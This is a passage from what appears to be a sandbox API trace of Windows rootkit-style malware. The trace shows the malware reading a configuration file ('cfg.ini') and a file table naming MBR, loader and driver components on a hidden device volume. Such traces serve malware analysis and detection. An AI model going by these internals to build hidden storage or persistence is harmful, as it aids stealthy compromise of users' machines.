_MaxCount=0x10) returned 7 [0127.609] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.609] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.609] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.609] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfba70 [0127.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.609] KeLeaveCriticalRegion () [0127.609] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.609] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.609] KeEnterCriticalRegion () [0127.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.609] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.609] KeLeaveCriticalRegion () [0127.609] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.609] KeEnterCriticalRegion () [0127.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.610] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.610] IdePortDispatch () returned 0x103 [0127.610] KeWaitForMutexObject () returned 0x0 [0127.610] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.610] KeLeaveCriticalRegion () [0127.610] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.610] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.610] KeEnterCriticalRegion () [0127.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.610] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b71000 [0127.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.610] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.610] IdePortDispatch () returned 0x103 [0127.611] KeWaitForMutexObject () returned 0x0 [0127.611] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.611] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.611] IdePortDispatch () returned 0x103 [0127.611] KeWaitForMutexObject () returned 0x0 [0127.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.611] KeLeaveCriticalRegion () [0127.611] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.612] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.612] KeEnterCriticalRegion () [0127.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.612] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.612] KeLeaveCriticalRegion () [0127.612] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.612] KeEnterCriticalRegion () [0127.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.612] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.612] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.612] KeLeaveCriticalRegion () [0127.612] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.612] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.612] KeEnterCriticalRegion () [0127.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.612] ExFreePoolWithTag (P=0xfffffa8003bfba70, Tag=0x0) [0127.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.612] KeLeaveCriticalRegion () [0127.612] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.612] ReleaseMutex (hMutex=0xf0) returned 1 [0127.612] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.612] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.612] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.612] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.612] KeEnterCriticalRegion () [0127.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.613] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.613] IdePortDispatch () returned 0x103 [0127.613] KeWaitForMutexObject () returned 0x0 [0127.613] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.613] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.613] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.613] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.613] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.613] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.613] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.613] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.613] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.613] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.613] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.613] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.613] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.613] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.613] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.613] KeLeaveCriticalRegion () [0127.613] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.613] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.613] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.613] KeEnterCriticalRegion () [0127.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.614] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.614] IdePortDispatch () returned 0x103 [0127.615] KeWaitForMutexObject () returned 0x0 [0127.615] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.615] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.615] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.615] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.615] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.615] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.615] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.615] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.615] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.615] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.615] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.615] KeLeaveCriticalRegion () [0127.615] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.616] ReleaseMutex (hMutex=0x100) returned 1 [0127.616] Sleep (dwMilliseconds=0x2bf20) [0127.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f43e8b0, dwHighDateTime=0x1d24fa4)) [0127.622] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.622] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.622] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.622] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.622] KeEnterCriticalRegion () [0127.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.622] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.622] IdePortDispatch () returned 0x103 [0127.622] KeWaitForMutexObject () returned 0x0 [0127.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.623] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.623] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.623] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.623] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.623] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee200 [0127.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.623] KeLeaveCriticalRegion () [0127.623] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.623] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.623] KeEnterCriticalRegion () [0127.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.623] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.623] KeLeaveCriticalRegion () [0127.623] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.623] KeEnterCriticalRegion () [0127.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.623] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.623] IdePortDispatch () returned 0x103 [0127.623] KeWaitForMutexObject () returned 0x0 [0127.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.623] KeLeaveCriticalRegion () [0127.623] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.623] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.623] KeEnterCriticalRegion () [0127.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.623] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b74000 [0127.624] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.624] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.624] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.624] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.624] IdePortDispatch () returned 0x103 [0127.624] KeWaitForMutexObject () returned 0x0 [0127.624] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.624] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.624] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.624] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.624] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.624] IdePortDispatch () returned 0x103 [0127.624] KeWaitForMutexObject () returned 0x0 [0127.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.624] KeLeaveCriticalRegion () [0127.624] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.625] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.625] KeEnterCriticalRegion () [0127.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.625] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.625] KeLeaveCriticalRegion () [0127.625] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.625] KeEnterCriticalRegion () [0127.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.625] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.625] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.625] KeLeaveCriticalRegion () [0127.625] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.625] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.625] KeEnterCriticalRegion () [0127.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.625] ExFreePoolWithTag (P=0xfffffa8003bee200, Tag=0x0) [0127.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.625] KeLeaveCriticalRegion () [0127.625] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.625] ReleaseMutex (hMutex=0xf0) returned 1 [0127.625] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.625] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.625] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.625] KeEnterCriticalRegion () [0127.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.625] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.625] IdePortDispatch () returned 0x103 [0127.625] KeWaitForMutexObject () returned 0x0 [0127.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.626] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.626] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.626] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.626] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.626] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb8c0 [0127.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.626] KeLeaveCriticalRegion () [0127.626] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.626] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.626] KeEnterCriticalRegion () [0127.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.626] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.626] KeLeaveCriticalRegion () [0127.626] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.626] KeEnterCriticalRegion () [0127.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.626] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.626] IdePortDispatch () returned 0x103 [0127.626] KeWaitForMutexObject () returned 0x0 [0127.626] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.626] KeLeaveCriticalRegion () [0127.626] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.626] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.626] KeEnterCriticalRegion () [0127.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.626] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b75000 [0127.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.626] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.627] IdePortDispatch () returned 0x103 [0127.627] KeWaitForMutexObject () returned 0x0 [0127.627] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.627] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.627] IdePortDispatch () returned 0x103 [0127.627] KeWaitForMutexObject () returned 0x0 [0127.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.627] KeLeaveCriticalRegion () [0127.627] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.628] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.628] KeEnterCriticalRegion () 